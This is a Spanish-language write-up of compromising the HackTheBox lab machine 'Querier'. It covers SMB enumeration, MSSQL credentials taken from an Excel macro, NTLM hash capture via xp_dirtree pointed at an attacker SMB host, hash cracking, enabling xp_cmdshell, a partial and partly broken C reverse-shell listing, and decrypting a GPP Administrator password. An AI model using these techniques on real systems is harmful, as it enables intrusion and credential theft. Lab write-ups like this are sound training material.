

Write-Up/Explicación paso a paso de Hackeo y Rooteo a Máquina Virtual Querier– Plataforma HackTheBox

DISCLAIMER (Autorización y alcance):

1. **Ámbito del informe:**

Este informe describe exclusivamente las actividades de evaluación de seguridad realizadas sobre la **máquina virtual “Querier”** alojada en la plataforma **HackTheBox**, en un entorno de laboratorio/CTF controlado. Todas las pruebas se realizaron con un alcance limitado al sistema indicado y bajo las condiciones definidas por la plataforma.

2. **Propósito:**

El propósito del ejercicio es **educativo** y de investigación: identificar vectores de ataque, demostrar posibles impactos y proponer medidas de mitigación. No pretende explotar vulnerabilidades en sistemas ajenos ni causar daño.

3. **Autorización:**

Las técnicas y pruebas documentadas aquí deben ser aplicadas **únicamente** en sistemas para los que se disponga de **autorización explícita y por escrito** del propietario. La reproducción de estas pruebas en equipos o redes que no te pertenezcan, o sin permiso, es **ilegal** y **poco ética**.

4. **Limitaciones y responsabilidad:**

Ni el autor ni la institución/entidad que lo respalde asumen responsabilidad por el uso indebido del contenido de este informe. Cualquier acción realizada fuera del alcance de autorización corre por cuenta exclusiva del actor que la ejecute.

RECONOCIMIENTO

Realizamos un escaneo inicial con nmap para descubrir los puertos que tiene abiertos la máquina víctima.

```
(root@kali)-[/home/phenixx/Escritorio/querier]
# nmap -sS -p- --open -vvv -n -Pn -oN AllPorts -T4 10.129.25.184 | grep -E '[0-9]' | cut -d '/' -f1 | paste -sd ','
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671
```

De los puertos abiertos, realizamos un tratamiento del output para pasarle esa información a un escaneo mucho más exhaustivo.

```
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
1433/tcp   open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RT
|_ssl-date: 2026-07-04T15:47:21+00:00; +2s from scanner time.
|_ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
|_Not valid before: 2026-07-04T15:30:16
|_Not valid after:  2056-07-04T15:30:16
|_ms-sql-ntlm-info:
```

Nos encontramos con varios puertos abiertos, rpc, smb, mssql y winrm. Procedemos a realizar una enumeración de los mismos.

ENUMERACIÓN SMB

En primer lugar realizamos una enumeración de la máquina en cuestión para obtener tanto el nombre de la misma, como el dominio al que pertenece.

```
(root@kali)~[/home/phenixx/Escritorio/querier]
# crackmapexec smb 10.129.25.184
SMB 10.129.25.184 445 QUERIER [*] Windows 10 / Server 2019 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
```

Intentamos realizar una enumeración por SMB, pero no logramos encontrar nada interesante. Sin embargo, si que podemos conectarnos por smbclient para poder ver si podemos enumerar los recursos compartidos.

```
(root@kali)~[/home/phenixx/Escritorio/querier]
# crackmapexec smb 10.129.25.184 -u '' -p ''
SMB 10.129.25.184 445 QUERIER [*] Windows 10 / Server 2019 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
SMB 10.129.25.184 445 QUERIER [*] HTB.LOCAL\

(root@kali)~[/home/phenixx/Escritorio/querier]
# crackmapexec smb 10.129.25.184 -u '' -p '' --shares
SMB 10.129.25.184 445 QUERIER [*] Windows 10 / Server 2019 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
SMB 10.129.25.184 445 QUERIER [*] HTB.LOCAL\
SMB 10.129.25.184 445 QUERIER [-] Error enumerating shares: STATUS_ACCESS_DENIED

(root@kali)~[/home/phenixx/Escritorio/querier]
# crackmapexec smb 10.129.25.184 -u 'guest' -p '' --shares
SMB 10.129.25.184 445 QUERIER [*] Windows 10 / Server 2019 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
SMB 10.129.25.184 445 QUERIER [-] Connection Error: The NETBIOS connection with the remote host timed out.

(root@kali)~[/home/phenixx/Escritorio/querier]
# crackmapexec smb 10.129.25.184 -u 'guest' -p '' --rid-brute
SMB 10.129.25.184 445 QUERIER [*] Windows 10 / Server 2019 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)
SMB 10.129.25.184 445 QUERIER [-] Connection Error: The NETBIOS connection with the remote host timed out.
```

Obtenemos un recurso compartido que podría ser interesante: Reports

```
(root@kali)~[/home/phenixx/Escritorio/querier]
# smbclient -NL //10.129.25.184

Sharename      Type           Comment
-----
ADMIN$         Disk          Remote Admin
C$             Disk          Default share
IPC$           IPC           Remote IPC
Reports        Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.25.184 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Accedemos a dicho recurso y podemos descargarnos un archivo en xlsx.

```
(root@kali)~[/home/phenixx/Escritorio/querier]
# smbclient -N //10.129.25.184/Reports
Try "help" to get a list of possible commands.
smb: \> dir
.                D            0    Mon Jan 28 23:23:48 2019
..               D            0    Mon Jan 28 23:23:48 2019
Currency Volume Report.xlsx  A    12229  Sun Jan 27 22:21:34 2019

5158399 blocks of size 4096. 850260 blocks available
```

Nos lo descargamos con el nombre entre comillas para que no nos dé error.

```
smb: \> get Currency Volume Report.xlsx
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \Currency
smb: \> get "Currency Volume Report.xlsx"
getting file \Currency Volume Report.xlsx of size 12229 as Cu
```

Cuando contamos con un archivo de este tipo, tenemos que tener en cuenta que podría contener archivos comprimidos en formato .bin, .xml, que podrían contener credenciales.

```
(root@kali)-[/home/phoenixx/Escritorio/querier]
# file Currency\ Volume\ Report.xlsm
Currency Volume Report.xlsm: Microsoft Excel 2007+
```

```
(root@kali)-[/home/phoenixx/Escritorio/querier]
# ls
AllPorts 'Currency Volume Report.xlsm' targets

(root@kali)-[/home/phoenixx/Escritorio/querier]
# unzip Currency\ Volume\ Report.xlsm
Archive: Currency Volume Report.xlsm
  inflating: [Content_Types].xml
  inflating: _rels/.rels
  inflating: xl/workbook.xml
  inflating: xl/_rels/workbook.xml.rels
  inflating: xl/worksheets/sheet1.xml
  inflating: xl/theme/theme1.xml
  inflating: xl/styles.xml
  inflating: xl/vbaProject.bin
  inflating: docProps/core.xml
  inflating: docProps/app.xml
```

En este caso, contiene .xml y .bin. Tras examinarlos todos (hay que tener en cuenta que los archivos bin los podremos leer con strings o con ltrace).

Dentro del archivo vbaProject.bin, encontramos lo siguiente:

```
(root@kali)-[/home/phoenixx/Escritorio/querier/xl]
# strings vbaProject.bin
macro to pull data for client volume reports
n.Conn]
Open
rver=<
SELECT * FROM volume;
word>
MsgBox "connection successful"
Set rs = conn.Execute("SELECT * @@version;")
Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6
```

Tenemos las credenciales para poder conectar al servidor MSSQL.

ENUMERACIÓN MSSQL

Utilizando la herramienta de impacket-mssqlclient podemos conectarnos proporcionando las credenciales obtenidas, para interactuar con el servicio MSSQL.

```
(root@kali)-[/home/phoenixx/Escritorio/querier/xl]
# impacket-mssqlclient reporting@10.129.25.184 -windows-auth
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
[!] Press help for extra shell commands
SQL (QUERIER\reporting reporting@volume)> |
```


Ya estamos dentro del servicio MSSQL. Cuando interactuamos con este servicio debemos tener varias alternativas presentes:

-Inspeccionar las distintas bases de datos, con sus correspondientes tablas en busca de información relevante (no es el caso de esta máquina).

-Intentar ejecutar comandos de manera remota con `xp_cmdshell`, se comprueba, pero se constata que no se tienen permisos para ejecutar dicho comando, ni tampoco para activar las opciones avanzadas que permitirían activarlo.

-Si la máquina (como es el caso) forma parte de un entorno de Active Directory, podemos intentar que el servicio MSSQL se autentique contra un servicio malicioso (como por ejemplo un SMB controlado por nosotros) con el fin de obtener el hash NTLM y crackearlo offline para obtener unas credenciales válidas.

```
SQL (QUERI\reporting reporting@volume)> EXEC master.sys.xp_dirtree '\\10.10.15.47\server'
subdirectory  depth
-----
SQL (QUERI\reporting reporting@volume)>
```

[illegible]

Obtenemos el hash de la cuenta de servicio MSSQL y lo crackeamos offline.

```
(root@kali)~[/home/phoenixx/Escriatório/querier]
# hashcat -m 5600 -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i7-12700H, 2947/5895 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
```

```

MSSQL-SVC: :QUERIER:aaaaaaaaaaaaaaaa:fb2d76e1f9f8d8e5274a93fea3828516:01010000000000000b8bfa9d00bdd012074c6e03
e00770078000400100064004700610068004c006e00770078000700080000b8bfa9d00bdd010600040002000000080030000000000000
00900200063006900660073002f00310030002e00310030002e00310035002e00340037000000000000000000000000000000:corporate568

```

Nos conectamos ahora como la cuenta de servicio MSSQL y comprobamos que tenemos derechos de administrador. En efecto los tenemos.

```
SQL (QUERIER\mssql-svc  dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin')
1
```

En este momento es interesante comprobar si tenemos la capacidad de ejecutar comandos con `xp_cmdshell`.

```
SQL (QUERIER\mssql-svc dbo@master)> EXEC xp_cmdshell 'whoami';
ERROR(QUERIER): Line 1: SQL Server Blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
```

Recibimos un mensaje que nos informa que el componente 'xp_cmdshell' está desactivado pero con permisos de admin podemos activarlo.

Para activarlo tenemos que en primer lugar activar las opciones avanzadas y luego activar xp_cmdshell.

```
SQL (QUERIER\mssql-svc dbo@master)> EXEC sp_configure 'show advanced options', 1;
INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (QUERIER\mssql-svc dbo@master)> RECONFIGURE;
SQL (QUERIER\mssql-svc dbo@master)> EXEC sp_configure 'xp_cmdshell', 1;
INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (QUERIER\mssql-svc dbo@master)> RECONFIGURE;
```

Ahora que lo tenemos activado, podemos comprobar que efectivamente tenemos capacidad de ejecutar comandos de manera remota.

```
SQL (QUERIER\mssql-svc dbo@master)> EXEC xp_cmdshell 'whoami';
output
-----
querier\mssql-svc
```

Ahora programamos en C un binario que será una revshell, y el cual serviremos desde un servidor SMB, al cual accederemos a través de la ejecución remota que hemos conseguida a través del servicio MSSQL.

El binario que creemos tendremos que compilarlo con MinGW, además es más sencillo hacerlo para 32 bits, ya que aunque el sistema sea de 64 puede correrlo igualmente. Utilizaremos netcat para ponernos en escucha por el puerto al cual enviemos la conexión reversa.

```
1  #include <stdio.h>
2  #include <winsock2.h>
3  #pragma comment(lib, "w2_32")
4
5  WSADATA socketdata;
6  struct sockaddr_in attackerAddress;
7  STARTUPINFO startupinfo;
8  PROCESS_INFORMATION process_info;
9
10 void set_attacker_ip(char ip[], size_t size) {
11     puts("Introduce la ip a la que conectarse");
12     fgets(ip, size, stdin);
13 }
14
15 int set_attacker_port() {
16     int port;
17     puts("Introduce el puerto al que conectarse");
18     scanf("%d", &port);
19     return port;
20 }
21
22 int initialize_windows_sockets(WSADATA *socketdata) {
23     int start_socket = WSASocket(2, 2, socketdata);
24     return start_socket;
25 }
26
27 SOCKET build_socket(){
28     SOCKET socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
29     return socket;
30 }
```


ESCALADA DE PRIVILEGIOS

Después de buscar varias opciones y enumerar, buscando por archivos .xml, existían dos archivos que podíamos en los cuales podíamos encontrar credenciales. El archivo en cuestión es Groups.xml.

Con la herramienta gpp-decrypt podemos descriptar la contraseña, ya que Windows en su momento filtró la clave para descriptar el texto de este archivo.

```
C:\Windows\system32>type "C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-0160-1102-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml"
type "C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-0160-1102-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml"
<xml version="1.0" encoding="UTF-8" ><Groups csiid="{31B2F340-0160-1102-945F-00C04FB984F9}">
  <User csiid="{D95F1855-51E5-4d24-8B1A-D9B0E98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CD88-4948-B988-F8D038C5986C}" userContext="0" removePolicy="0" policyApplied="1">
    <Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBLm/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>
C:\Windows\system32>
```

Tenemos la contraseña de administrador, ahora lo que hacemos es utiliza gpp-decrypt para averiguar la contraseña en texto plano.

```
(root@kali) - [/home/phoenixx]
# gpp-decrypt "CiDUq6tbrBLm/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ"
MyUnclesAreMarioAndLuigi!!!
```

Tenemos las credenciales del administrador. Procedemos a conectarnos con la máquina víctima por WinRM

```
(root@kali) - [/home/phoenixx]
# evil-winrm -i 10.129.25.184 -u Administrator -p 'MyUnclesAreMarioAndLuigi!!!'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
querier\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```